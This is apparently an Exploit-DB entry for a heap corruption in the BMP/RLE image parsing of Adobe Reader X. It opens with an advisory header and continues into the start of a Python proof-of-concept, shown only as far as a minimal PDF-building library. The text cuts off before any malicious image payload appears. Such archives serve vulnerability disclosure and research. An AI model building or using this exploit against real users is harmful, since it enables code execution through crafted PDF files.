Exploit-DB #26703
Description: Adobe Reader X 10.1.4.38 - '.BMP'/'.RLE' Heap Corruption
Type: local
Platform: windows
Date: 2013-07-08
Author: feliam

Exploit:
'''
Title: Adobe Reader X BMP/RLE heap corruption
Product: Adobe Reader X
Version: 10.x
Product Homepage: adobe.com
Binary affected: AcroForm.api
Binary Version: 10.1.4.38
Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841
Configuration Requirements
-----------------------------------------
Default configuration.

Vulnerability Requirements
-----------------------------------------
None.

Vulnerability Description
-----------------------------------------
Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. 


Vulnerability WorkAround (if possible)
-----------------------------------------
Delete AcroForm.api
'''
from hashlib import md5
import sys, struct
######### Begin of the miniPDF
import zlib

#For constructing a minimal pdf file
## PDF REference 3rd edition:: 3.2 Objects
class PDFObject:
    def __init__(self):
        self.n=None
        self.v=None
    def __str__(self):
        raise Exception("Fail")

## PDF REference 3rd edition:: 3.2.1 Booleans Objects
class PDFBool(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        if self.s:
            return "true"
        return "false"

## PDF REference 3rd edition:: 3.2.2 Numeric Objects
class PDFNum(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "%s"%self.s

## PDF REference 3rd edition:: 3.2.3 String Objects
class PDFString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "(%s)"%self.s

## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings
class PDFHexString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">"

## A convenient type of literal Strings
class PDFOctalString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s="".join(["\\%03o"%ord(c) for c in s])
    def __str__(self):
        return "(%s)"%self.s

## PDF REference 3rd edition:: 3.2.4 Name Objects
class PDFName(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "/%s"%self.s

## PDF REference 3rd edition:: 3.2.5 Array Objects
class PDFArray(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        assert type(s) == type([])
        self.s=s
    def append(self,o):
        self.s.append(o)
        return self
    def __str__(self):
        return "[%s]"%(" ".join([ o.__str__() for o in self.s]))

## PDF REference 3rd edition:: 3.2.6 Dictionary Objects
class PDFDict(PDFObject):
    def __init__(self, d={}):
        PDFObject.__init__(self)
        self.dict = {}
        for k in d:
            self.dict[k]=d[k]

    def __iter__(self):
        for k in self.dict.keys():
            yield k

    def __iterkeys__(self):
        for k in self.dict.keys():
            yield k

    def __getitem__(self, key):
        return self.dict[key]
        
    def add(self,name,obj):
        self.dict[name] = obj

    def get(self,name):
        if name in self.dict.keys():
            return self.dict[name]
        else:
            return None

    def __str__(self):
        s="<<"
        for name in self.dict:
            s+="%s %s "%(PDFName(name),self.dict[name])
        s+=">>"
        return s

## PDF REference 3rd edition:: 3.2.7 Stream Objects
class PDFStream(PDFDict):
    def __init__(self,d={},stream=""):
        PDFDict.__init__(self,d)
        self.stream=stream
        self.filtered=self.stream
        self.add('Length', len(stream))
        self.filters = []

    def appendFilter(self, filter):
        self.filters.append(filter)
        self._applyFilters() #yeah every time .. so what!

    def _applyFilters(self):
        self.filtered = self.stream
        for f in self.filters:
                self.filtered = f.encode(self.filtered)
        if len(self.filters)>0:
            self.add('Length', len(self.filtered))
            self.add('Filter', PDFArray([f.name for f in self.filters]))
        #Add Filter parameters ?
    def __str__(self):
        self._applyFilters() #yeah every time .. so what!
        s=""
        s+=PDFDict.__str__(self)
        s+="\nstream\n"
        s+=self.filtered
        s+="\nendstream"
        return s

## PDF REference 3rd edition:: 3.2.8 Null Object
class PDFNull(PDFObject):
    def __init__(self):
        PDFObject.__init__(self)

    def __str__(self):
        return "null"


## PDF REference 3rd edition:: 3.2.9 Indirect Objects
class UnResolved(PDFObject):
    def __init__(self,n,v):
        PDFObject.__init__(self)
        self.n=n
        self.v=v
    def __str__(self):
        return "UNRESOLVED(%d %d)"%(self.n,self.v)
class PDFRef(PDFObject):
    def __init__(self,obj):
        PDFObject.__init__(self)
        self.obj=[obj]
    def __str__(self):
        if len(self.obj)==0:
            return "null"
        return "%d %d R"%(self.obj[0].n,self.obj[0].v)

## PDF REference 3rd edition:: 3.3 Filters
## Example Filter...
class FlateDecode:
    name = PDFName('FlateDecode')
    def __init__(self):
        pass
    def encode(self,stream):
        return zlib.compress(stream)
    def decode(self,stream):
        return zlib.decompress(stream)

## PDF REference 3rd edition:: 3.4 File Structure
## Simplest file structure...
class PDFDoc():
    def __init__(self,obfuscate=0):
        self.objs=[]
        self.info=None
        self.root=None
    def setRoot(self,roo